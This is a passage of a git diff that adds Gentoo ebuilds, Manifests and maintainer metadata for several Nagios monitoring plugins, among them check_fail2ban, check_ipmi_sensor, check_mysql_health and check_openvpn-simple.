+HOMEPAGE="https://svn.durchmesser.ch/trac/check_dnssec"
+
+MY_P=${P/nagios-/}
+
+# No upstream tarballs, tagged releaess in SVN only.
+SRC_URI="mirror://gentoo/${MY_P}.tar.bz2"
+LICENSE="GPL-3"
+SLOT="0"
+
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+DEPEND="net-analyzer/nagios-plugins
+ net-libs/ldns"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${MY_P}"
+
+src_prepare() {
+ eautoreconf
+}
+
+DOCS=( ChangeLog README AUTHORS )
diff --git a/net-analyzer/nagios-check_fail2ban/Manifest b/net-analyzer/nagios-check_fail2ban/Manifest
new file mode 100644
index 000000000000..565e94891118
--- /dev/null
+++ b/net-analyzer/nagios-check_fail2ban/Manifest
@@ -0,0 +1 @@
+DIST nagios-check_fail2ban-3.tar.gz 1848 SHA256 8aa2f8d2cdd687d98906f963b68d5c711471caf626d7be7741461bfd4b83af78 SHA512 a032042f8588575ef70c6644c5d385a18b25b89d71b067cdfe78230e5e53c2fb5bf88de1d97aa9411bfec00b213f6e1eae800e9545f0d8d4bad4e3c878927f9c WHIRLPOOL a9c328633cee90c753aefa4dd24810803f9e308c9833929009409deaf0c448927d74c310b923fa0ca152cf00fc87217500fe3f7ddbbabb82c2984af6df061895
diff --git a/net-analyzer/nagios-check_fail2ban/metadata.xml b/net-analyzer/nagios-check_fail2ban/metadata.xml
new file mode 100644
index 000000000000..87a73df9a44f
--- /dev/null
+++ b/net-analyzer/nagios-check_fail2ban/metadata.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>sdamashek@gentoo.org</email>
+ <name>Samuel Damashek</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <upstream>
+ <remote-id type="github">hollow/check_fail2ban</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-check_fail2ban/nagios-check_fail2ban-3.ebuild b/net-analyzer/nagios-check_fail2ban/nagios-check_fail2ban-3.ebuild
new file mode 100644
index 000000000000..33dc889474b7
--- /dev/null
+++ b/net-analyzer/nagios-check_fail2ban/nagios-check_fail2ban-3.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib autotools
+
+GITHUB_AUTHOR="hollow"
+GITHUB_PROJECT="check_fail2ban"
+GITHUB_COMMIT="c554837"
+
+DESCRIPTION="A nagios plugin for checking the fail2ban daemon"
+HOMEPAGE="https://github.com/hollow/check_fail2ban"
+SRC_URI="http://nodeload.github.com/${GITHUB_AUTHOR}/${GITHUB_PROJECT}/tarball/v${PV} -> ${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=">=net-analyzer/nagios-plugins-1.4.13-r1"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"/${GITHUB_AUTHOR}-${GITHUB_PROJECT}-${GITHUB_COMMIT}
+
+src_prepare() {
+ eautoreconf
+}
+
+src_install() {
+ emake DESTDIR="${D}" install
+}
diff --git a/net-analyzer/nagios-check_glsa2/Manifest b/net-analyzer/nagios-check_glsa2/Manifest
new file mode 100644
index 000000000000..58d518bea67f
--- /dev/null
+++ b/net-analyzer/nagios-check_glsa2/Manifest
@@ -0,0 +1 @@
+DIST check_glsa2-20120930.tar.xz 1980 SHA256 cb5f73b0482c88ace0ba02499443a5f903773f57dc7967840711a58e5ff1aed5 SHA512 ecf7f6f119c8a73bf672eddc64374ed07c03720ec97b51f7e0bd779b3ba2c4ceab87c1c3cbbe38b1f0224234a9fb2af7bd156f9073a8a0aa8da1458988a2bc65 WHIRLPOOL 23c901c4bd2d0ad1b15af6f75c56500fa6f0c0b4204022c95aecfeb4d010f60c0aa87766c6e748f9bf34de5cc1856bbddf437875fa381568de30013378be53eb
diff --git a/net-analyzer/nagios-check_glsa2/metadata.xml b/net-analyzer/nagios-check_glsa2/metadata.xml
new file mode 100644
index 000000000000..0475fa3cf108
--- /dev/null
+++ b/net-analyzer/nagios-check_glsa2/metadata.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>creffett@gentoo.org</email>
+ <name>Chris Reffett</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <herd>sysadmin</herd>
+ <upstream>
+ <remote-id type="github">craig/check_glsa2</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-check_glsa2/nagios-check_glsa2-20120930-r1.ebuild b/net-analyzer/nagios-check_glsa2/nagios-check_glsa2-20120930-r1.ebuild
new file mode 100644
index 000000000000..8c2ae355ee22
--- /dev/null
+++ b/net-analyzer/nagios-check_glsa2/nagios-check_glsa2-20120930-r1.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit multilib user
+
+DESCRIPTION="Nagios check script for GLSAs (Gentoo Linux Security Advisories)"
+HOMEPAGE="https://github.com/craig/check_glsa2"
+
+MY_PN="${PN/nagios-/}"
+MY_P="${MY_PN}-${PV}"
+S="${WORKDIR}/${MY_P}"
+
+SRC_URI="http://dev.gentoo.org/~flameeyes/${MY_PN}/${MY_P}.tar.xz"
+LICENSE="GPL-2 BSD-2"
+SLOT="0"
+
+KEYWORDS="amd64"
+
+RDEPEND="app-portage/gentoolkit"
+DEPEND=""
+
+pkg_setup() {
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /dev/null nagios
+}
+
+src_prepare() {
+ sed -i -e '/CACHEDIR=/s:=.*:=/var/cache/check_glsa2:' ${MY_PN}_cached.sh || die
+}
+
+src_install() {
+ local nagiosplugindir=/usr/$(get_libdir)/nagios/plugins
+ exeinto ${nagiosplugindir}
+ doexe *.sh
+
+ dodoc README
+
+ diropts -o nagios -g nagios
+ keepdir /var/cache/${MY_PN}
+}
diff --git a/net-analyzer/nagios-check_ipmi_sensor/Manifest b/net-analyzer/nagios-check_ipmi_sensor/Manifest
new file mode 100644
index 000000000000..e6bacf75f8c9
--- /dev/null
+++ b/net-analyzer/nagios-check_ipmi_sensor/Manifest
@@ -0,0 +1,3 @@
+DIST check_ipmi_sensor_v3-14e6586.tgz 21836 SHA256 eaf7a8206953bd64b7d1d69d3ed42e342c1054f6fd7d524a1f2de6e17afe07a4 SHA512 ac0744348e4d68459326396ee7fcc98bb0c3d2115fcf9724c7391f6f8dc9c0e2bb89a832822424b415acc3062201fb67d7eaceb4b9f2f41526e5fe8823187a0e WHIRLPOOL 4584ecbf36a4f6ed1ca36099eddc4feb79f79fc9988558e1539cfda18baf1cf9de13101bf376c37066a9309c5e6853cb012580d0c22543d6bb68ebfce31f2654
+DIST check_ipmi_sensor_v3-8120430.tgz 20620 SHA256 ac97ad0fed89023117841bb3e60cdb4d86612671f9d50cbaa8e7d44884309061 SHA512 89b3fd7ae2d523e1510c528d44d03ad9af5bc174bb325393f50a4a95380c996867b4502b55f38712515f556fe0f2019e15f6800ca1db00a9bbbcef655f1fd845 WHIRLPOOL 0792e2ee262bc58820684c6dc050d9987ddbd1680cf99083b1598a3377cf7cd861265fe95faa53fc99c4d9e4bdba71ca771fb8d57205b630b5619a6b3433efa0
+DIST check_ipmi_sensor_v3.1.tar.gz 19135 SHA256 ca029bc2be34fbe56c49c681dc8bef7bae02a7a2b38644cb909912f7256e1151 SHA512 b6af98af23ebff361cf2f94ff6c4b083ff175532c1f65b785d6b928db896a6109437f64bb7a93688f20574f0b92485e40d3d0aa4785113703527574b9c28b079 WHIRLPOOL 55868ea709da81ef73854a99d51bc3258fd0dc4dae0cf360c3d65c9c9272a8ddfc086bca59258077b209788e2f34fbbcee917e3bbeffaf8e557dc63a586f1fbd
diff --git a/net-analyzer/nagios-check_ipmi_sensor/metadata.xml b/net-analyzer/nagios-check_ipmi_sensor/metadata.xml
new file mode 100644
index 000000000000..6a909e30ad17
--- /dev/null
+++ b/net-analyzer/nagios-check_ipmi_sensor/metadata.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>idl0r@gentoo.org</email>
+ <name>Christian Ruppert</name>
+ </maintainer>
+ <maintainer>
+ <email>wfischer@thomas-krenn.com</email>
+ <name>Werner Fischer</name>
+ <description>Upstream Maintainer (please CC on bugs)</description>
+ </maintainer>
+ <herd>sysadmin</herd>
+ <herd>proxy-maintainers</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.1.ebuild b/net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.1.ebuild
new file mode 100644
index 000000000000..3667b61686ec
--- /dev/null
+++ b/net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.1.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit multilib
+
+MY_PV="${PV/_rc/rc}"
+MY_P="${PN#nagios-}_v${MY_PV}"
+
+DESCRIPTION="IPMI Sensor Monitoring Plugin for Nagios/Icinga"
+HOMEPAGE="http://www.thomas-krenn.com/en/oss/ipmi-plugin/"
+SRC_URI="http://www.thomas-krenn.com/en/oss/ipmi-plugin/${MY_P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="dev-lang/perl
+ dev-perl/IPC-Run
+ sys-libs/freeipmi"
+
+S="${WORKDIR}/${MY_P}"
+
+src_install() {
+ exeinto /usr/$(get_libdir)/nagios/plugins
+ doexe check_ipmi_sensor
+
+ dodoc changelog.txt
+}
diff --git a/net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.2.ebuild b/net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.2.ebuild
new file mode 100644
index 000000000000..d823e112b725
--- /dev/null
+++ b/net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.2.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib versionator
+
+MY_COMMIT="8120430"
+MY_P="${PN#nagios-}_v$(get_major_version $PV)-${MY_COMMIT}"
+
+DESCRIPTION="IPMI Sensor Monitoring Plugin for Nagios/Icinga"
+HOMEPAGE="http://www.thomas-krenn.com/en/oss/ipmi-plugin/"
+SRC_URI="http://git.thomas-krenn.com/?p=check_ipmi_sensor_v3.git;a=snapshot;h=${MY_COMMIT};sf=tgz -> ${MY_P}.tgz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="dev-lang/perl
+ dev-perl/IPC-Run
+ sys-libs/freeipmi"
+
+S="${WORKDIR}/${MY_P}"
+
+src_install() {
+ exeinto /usr/$(get_libdir)/nagios/plugins
+ doexe check_ipmi_sensor
+
+ dodoc changelog.txt
+}
diff --git a/net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.6.ebuild b/net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.6.ebuild
new file mode 100644
index 000000000000..b1da177765b4
--- /dev/null
+++ b/net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.6.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib versionator
+
+MY_COMMIT="14e6586"
+MY_P="${PN#nagios-}_v$(get_major_version $PV)-${MY_COMMIT}"
+
+DESCRIPTION="IPMI Sensor Monitoring Plugin for Nagios/Icinga"
+HOMEPAGE="http://www.thomas-krenn.com/en/oss/ipmi-plugin/"
+SRC_URI="http://git.thomas-krenn.com/?p=check_ipmi_sensor_v3.git;a=snapshot;h=${MY_COMMIT};sf=tgz -> ${MY_P}.tgz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="dev-lang/perl
+ dev-perl/IPC-Run
+ sys-libs/freeipmi"
+
+S="${WORKDIR}/${MY_P}"
+
+src_install() {
+ exeinto /usr/$(get_libdir)/nagios/plugins
+ doexe check_ipmi_sensor
+
+ dodoc changelog.txt
+}
diff --git a/net-analyzer/nagios-check_linux_bonding/Manifest b/net-analyzer/nagios-check_linux_bonding/Manifest
new file mode 100644
index 000000000000..b64b0c26a9b7
--- /dev/null
+++ b/net-analyzer/nagios-check_linux_bonding/Manifest
@@ -0,0 +1,2 @@
+DIST check_linux_bonding-1.3.2.tar.gz 24540 SHA256 4c10b9c6840d70d736d3d18a95c5173624f97d76b9d107cc77b8cd0075ca9963 SHA512 c00eb7b209d49c8552b1e5e38196890bc4c5bed26d57af8c8b89e750488bd0822c74ab2efa58ba20309cfe6444e5aafd98db14946a5b09e334fb5f9a4fd404e8 WHIRLPOOL 03a4e00b45bbe8ce574f5a0893ad71c80050cd14c141193f360b6f6e4262305349e658d9645fb2daa800561a9b9bf28d12d3a4b3db1988949f14e1f080834446
+DIST check_linux_bonding-1.4.tar.gz 24670 SHA256 67d663740c0c84b7069c805048e7c5a0c50f818d173dba514a8e68c5bbc6b4a1 SHA512 2b1e11007680accd8667ceb8710c7a7448766fd0c5aa3be60a34209f1b25892e7fecc46f9fc5e7cc0d4776f68cc17f8db8d8f2758695c82045a5832e8a4c7e81 WHIRLPOOL 1bcd792469c87d1ca3971fdf342bf7f82d435c1c59c2aef83348bb10e2f14dab2a7ecbb3d2a8788e92ed22e726d8ef79ef838442a73340083de3726341afa1e7
diff --git a/net-analyzer/nagios-check_linux_bonding/metadata.xml b/net-analyzer/nagios-check_linux_bonding/metadata.xml
new file mode 100644
index 000000000000..4128863055b4
--- /dev/null
+++ b/net-analyzer/nagios-check_linux_bonding/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>ercpe@gentoo.org</email>
+ <name>Johann Schmitz (ercpe)</name>
+ </maintainer>
+</pkgmetadata>
+
diff --git a/net-analyzer/nagios-check_linux_bonding/nagios-check_linux_bonding-1.3.2.ebuild b/net-analyzer/nagios-check_linux_bonding/nagios-check_linux_bonding-1.3.2.ebuild
new file mode 100644
index 000000000000..ba928354432d
--- /dev/null
+++ b/net-analyzer/nagios-check_linux_bonding/nagios-check_linux_bonding-1.3.2.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib
+
+MY_P=${P/nagios-/}
+
+DESCRIPTION="Nagios plugin to monitor bonding status of network interfaces"
+HOMEPAGE="http://folk.uio.no/trondham/software/check_linux_bonding.html"
+SRC_URI="http://folk.uio.no/trondham/software/files/${MY_P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="dev-lang/perl"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${MY_P}"
+
+src_install() {
+ default
+
+ local nagiosplugindir=/usr/$(get_libdir)/nagios/plugins
+ dodir "${nagiosplugindir}"
+ exeinto ${nagiosplugindir}
+ doexe check_linux_bonding
+
+ dodoc CHANGES
+ doman man/check_linux_bonding.8
+}
diff --git a/net-analyzer/nagios-check_linux_bonding/nagios-check_linux_bonding-1.4.ebuild b/net-analyzer/nagios-check_linux_bonding/nagios-check_linux_bonding-1.4.ebuild
new file mode 100644
index 000000000000..ba928354432d
--- /dev/null
+++ b/net-analyzer/nagios-check_linux_bonding/nagios-check_linux_bonding-1.4.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib
+
+MY_P=${P/nagios-/}
+
+DESCRIPTION="Nagios plugin to monitor bonding status of network interfaces"
+HOMEPAGE="http://folk.uio.no/trondham/software/check_linux_bonding.html"
+SRC_URI="http://folk.uio.no/trondham/software/files/${MY_P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="dev-lang/perl"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${MY_P}"
+
+src_install() {
+ default
+
+ local nagiosplugindir=/usr/$(get_libdir)/nagios/plugins
+ dodir "${nagiosplugindir}"
+ exeinto ${nagiosplugindir}
+ doexe check_linux_bonding
+
+ dodoc CHANGES
+ doman man/check_linux_bonding.8
+}
diff --git a/net-analyzer/nagios-check_logfiles/Manifest b/net-analyzer/nagios-check_logfiles/Manifest
new file mode 100644
index 000000000000..14aaf10181a8
--- /dev/null
+++ b/net-analyzer/nagios-check_logfiles/Manifest
@@ -0,0 +1 @@
+DIST check_logfiles-2.3.2.1.tar.gz 140546 SHA256 8aba94b2942ac4433368487245085afec30d39ffbc62fcfaa1d3bfacac9edd94 SHA512 c8295a4cdbe421982d97b7de671e04f4420689f46e5a75b9ca2833a083423a127871350f805f47b2a08a762db914f81ceb0f3badedf545909df55dbbbcb59152 WHIRLPOOL c8f23c872515a6858d0791881d7837a9d68e1c4b32938fb28d3788150e2b75874f77a381e4f405b7aa3cb13c44e1ff6807834e76f5b765b54397dd5533bac91e
diff --git a/net-analyzer/nagios-check_logfiles/metadata.xml b/net-analyzer/nagios-check_logfiles/metadata.xml
new file mode 100644
index 000000000000..f54283e06f33
--- /dev/null
+++ b/net-analyzer/nagios-check_logfiles/metadata.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>creffett@gentoo.org</email>
+ <name>Chris Reffett</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <herd>sysadmin</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-check_logfiles/nagios-check_logfiles-2.3.2.1-r1.ebuild b/net-analyzer/nagios-check_logfiles/nagios-check_logfiles-2.3.2.1-r1.ebuild
new file mode 100644
index 000000000000..39defe2b46fc
--- /dev/null
+++ b/net-analyzer/nagios-check_logfiles/nagios-check_logfiles-2.3.2.1-r1.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit eutils multilib
+DESCRIPTION="A nagios plugin for checking logfiles"
+HOMEPAGE="http://www.consol.com/opensource/nagios/check-logfiles"
+
+MY_P=${P/nagios-/}
+
+SRC_URI="http://www.consol.com/fileadmin/opensource/Nagios/${MY_P}.tar.gz"
+LICENSE="GPL-3"
+SLOT="0"
+
+KEYWORDS="~alpha amd64 ~ppc ppc64 ~sparc x86"
+IUSE=""
+
+DEPEND=">=net-analyzer/nagios-plugins-1.4.13-r1"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${MY_P}"
+
+src_compile() {
+ econf \
+ --prefix=/usr \
+ --libexecdir=/usr/$(get_libdir)/nagios/plugins \
+ --sysconfdir=/etc/nagios || die "econf failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ emake DESTDIR="${D}" install || die "emake install failed"
+}
diff --git a/net-analyzer/nagios-check_mysql_health/Manifest b/net-analyzer/nagios-check_mysql_health/Manifest
new file mode 100644
index 000000000000..4bbdd74e64a9
--- /dev/null
+++ b/net-analyzer/nagios-check_mysql_health/Manifest
@@ -0,0 +1,2 @@
+DIST check_mysql_health-2.1.8.2.tar.gz 120052 SHA256 7fe0f1431742c2fe282faa234fc7b756679d81bb8a0aa2e786afef48540e7423 SHA512 57e26f57d37f274126c0e8f1133f91b9ac5b40696811eb0738fa02f246b48ca41ef291293beb31651cdf9db5854e75707c906a19b336a0f31410ff494b4c0f2d WHIRLPOOL da29c94e639ab2ce2bb065608bd8b9dc541e91340a07641c850160ee6aeef372f7d4258a145bee3badd231a904d4158b3074a3403f66dcf015b961fb11d21fb4
+DIST check_mysql_health-2.1.9.2.tar.gz 139293 SHA256 fc46225372bd29a6bd0256db612c1a050892b99889e67788f3a4242df16e629b SHA512 4a68f5f9c53d9c612e7b7185c1d593f896d4122887088f2c2dd824efa936da42c28ae720e5fbe513654721e8313530bfa3b3b973fe19009d6c7fc561402e66f7 WHIRLPOOL a5454bccb944588190572b2b3146c9cbe38745569baa7c55bcb5e96c09a1b2a908218907b8b6f921c558f38d51925578ab6381eca4f5732c9ffc0a3c1ed41380
diff --git a/net-analyzer/nagios-check_mysql_health/metadata.xml b/net-analyzer/nagios-check_mysql_health/metadata.xml
new file mode 100644
index 000000000000..b38d16492bd3
--- /dev/null
+++ b/net-analyzer/nagios-check_mysql_health/metadata.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>proxy-maintainers</herd>
+
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+
+ <maintainer>
+ <email>mjo@gentoo.org</email>
+ <name>Michael Orlitzky</name>
+ <description>Secondary maintainer. CC him on bugs.</description>
+ </maintainer>
+
+ <maintainer>
+ <email>sdamashek@gentoo.org</email>
+ <name>Samuel Damashek</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-check_mysql_health/nagios-check_mysql_health-2.1.8.2.ebuild b/net-analyzer/nagios-check_mysql_health/nagios-check_mysql_health-2.1.8.2.ebuild
new file mode 100644
index 000000000000..f4299c2a010f
--- /dev/null
+++ b/net-analyzer/nagios-check_mysql_health/nagios-check_mysql_health-2.1.8.2.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib autotools
+
+DESCRIPTION="A nagios plugin for checking MySQL server health"
+HOMEPAGE="http://labs.consol.de/lang/de/nagios/check_mysql_health/"
+SRC_URI="http://labs.consol.de/download/shinken-nagios-plugins/check_mysql_health-${PV}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+
+DEPEND=">=net-analyzer/nagios-plugins-1.4.13-r1"
+RDEPEND="${DEPEND}
+ virtual/mysql"
+
+S="${WORKDIR}"/check_mysql_health-${PV}
+
+src_prepare() {
+ eautoreconf
+}
+
+src_install() {
+ exeinto /usr/$(get_libdir)/nagios/plugins
+ doexe plugins-scripts/check_mysql_health
+}
diff --git a/net-analyzer/nagios-check_mysql_health/nagios-check_mysql_health-2.1.9.2.ebuild b/net-analyzer/nagios-check_mysql_health/nagios-check_mysql_health-2.1.9.2.ebuild
new file mode 100644
index 000000000000..b1d5e6d9c0e8
--- /dev/null
+++ b/net-analyzer/nagios-check_mysql_health/nagios-check_mysql_health-2.1.9.2.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib
+
+MY_PN="${PN#nagios-}"
+MY_P="${MY_PN}-${PV}"
+
+DESCRIPTION="A nagios plugin for checking MySQL server health"
+HOMEPAGE="https://labs.consol.de/nagios/${MY_PN}/"
+SRC_URI="https://labs.consol.de/assets/downloads/nagios/${MY_P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+# Found by grepping for "use " in the built
+# plugins-scripts/check_mysql_health.
+RDEPEND="dev-perl/DBD-mysql
+ dev-perl/DBI
+ virtual/perl-Data-Dumper
+ virtual/perl-File-Temp
+ virtual/perl-Net-Ping
+ virtual/perl-Time-HiRes"
+
+S="${WORKDIR}/${MY_P}"
+
+src_configure(){
+ # Should match net-analyzer/{monitoring,nagios}-plugins.
+ econf --libexecdir="/usr/$(get_libdir)/nagios/plugins"
+}
+
+# Here we should have a pkg_preinst() that creates the nagios user/group
+# (using the same command from e.g. net-analyzer/nagios-plugins). But
+# right now, the build system for check_mysql_health has a bug: it
+# doesn't use the configured user (INSTALL_OPTIONS aren't passed to
+# /usr/bin/install), so it's pointless. Don't forget to inherit
+# user.eclass!
diff --git a/net-analyzer/nagios-check_openvpn-simple/Manifest b/net-analyzer/nagios-check_openvpn-simple/Manifest
new file mode 100644
index 000000000000..7766d1544be2
--- /dev/null
+++ b/net-analyzer/nagios-check_openvpn-simple/Manifest
@@ -0,0 +1 @@
+DIST check_openvpn-simple-0.0.1.tar.gz 13597 SHA256 f761c7e5c4673b62ef50bb67be61efe178791fc5aa54c62695c5fee7f4a50fae SHA512 186575e4de4fd5f27f9701b5e5a56d8b6eae454bfefd8b13e6cbcee9da795833a567fc7a4fc5331a1498f6c0428599f0ec895acecb410e95e37ed43df58abc8f WHIRLPOOL 8441b69f83526bbda730d61a26fe3ce62bb70963ce5220c77c60e19c5772adb3508ba73f768b02e5640b8e8e1e42c5a1c70b6bdbb14d18417c406bb5d885deba
diff --git a/net-analyzer/nagios-check_openvpn-simple/metadata.xml b/net-analyzer/nagios-check_openvpn-simple/metadata.xml
new file mode 100644
index 000000000000..df7fdbeaf2b3
--- /dev/null
+++ b/net-analyzer/nagios-check_openvpn-simple/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>mjo@gentoo.org</email>
+ <name>Michael Orlitzky</name>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-check_openvpn-simple/nagios-check_openvpn-simple-0.0.1.ebuild b/net-analyzer/nagios-check_openvpn-simple/nagios-check_openvpn-simple-0.0.1.ebuild
new file mode 100644
index 000000000000..d80db5607f06
--- /dev/null
+++ b/net-analyzer/nagios-check_openvpn-simple/nagios-check_openvpn-simple-0.0.1.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python{2_7,3_3,3_4} )
+inherit distutils-r1 multilib
+
+MY_PN="${PN/nagios-/}"
+MY_P="${P/nagios-/}"
+DESCRIPTION="A Nagios plugin to check whether an OpenVPN server is alive"
+HOMEPAGE="http://michael.orlitzky.com/code/${MY_PN}.php"
+SRC_URI="http://michael.orlitzky.com/code/releases/${MY_P}.tar.gz"
+S="${WORKDIR}/${MY_P}"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+src_install() {
+ distutils-r1_src_install
+
+ local nagiosplugindir="/usr/$(get_libdir)/nagios/plugins"
+ dodir "${nagiosplugindir}"
+
+ # Create a symlink from the nagios plugin directory to the /usr/bin
+ # location. The "binary" in /usr/bin should also be a symlink, since
+ # the python machinery allows the user to switch out the
+ # interpreter. We don't want to mess with any of that, so we just
+ # point to whatever the system would use if the user executed
+ # ${MY_PN}.
+ #
+ # The relative symlink is preferred so that if the package is
+ # installed e.g. while in a chroot, the symlink will never point
+ # outside of that chroot.
+ #
+ dosym "../../../bin/${MY_PN}" "${nagiosplugindir}/${MY_PN}"
+}
diff --git a/net-analyzer/nagios-check_pidfile/Manifest b/net-analyzer/nagios-check_pidfile/Manifest
new file mode 100644
index 000000000000..1ea0b39201d9
--- /dev/null
+++ b/net-analyzer/nagios-check_pidfile/Manifest
@@ -0,0 +1 @@
+DIST nagios-check_pidfile-1.tar.gz 2137 SHA256 1448331938e586f0764c2f752487c5873eb02f16c7075dc9a5bf1adc8f362973 SHA512 a24493a72f6d9fb4daf606a131a3a6cafe6085b1d47f7b0f7944642929e86b5d29cf46fb28c20b7683ea5b9a99beb93bb5f32a08542e2e9af613e4cc62197ffe WHIRLPOOL c2ba19beccd2d9d65773df0f3c0cd87041a5f54a7d8518c46746b479b7a53e337b6cd158f082c15fd0dd0e9afe5285d3067d5d019cefd9d03603691598a63b5b
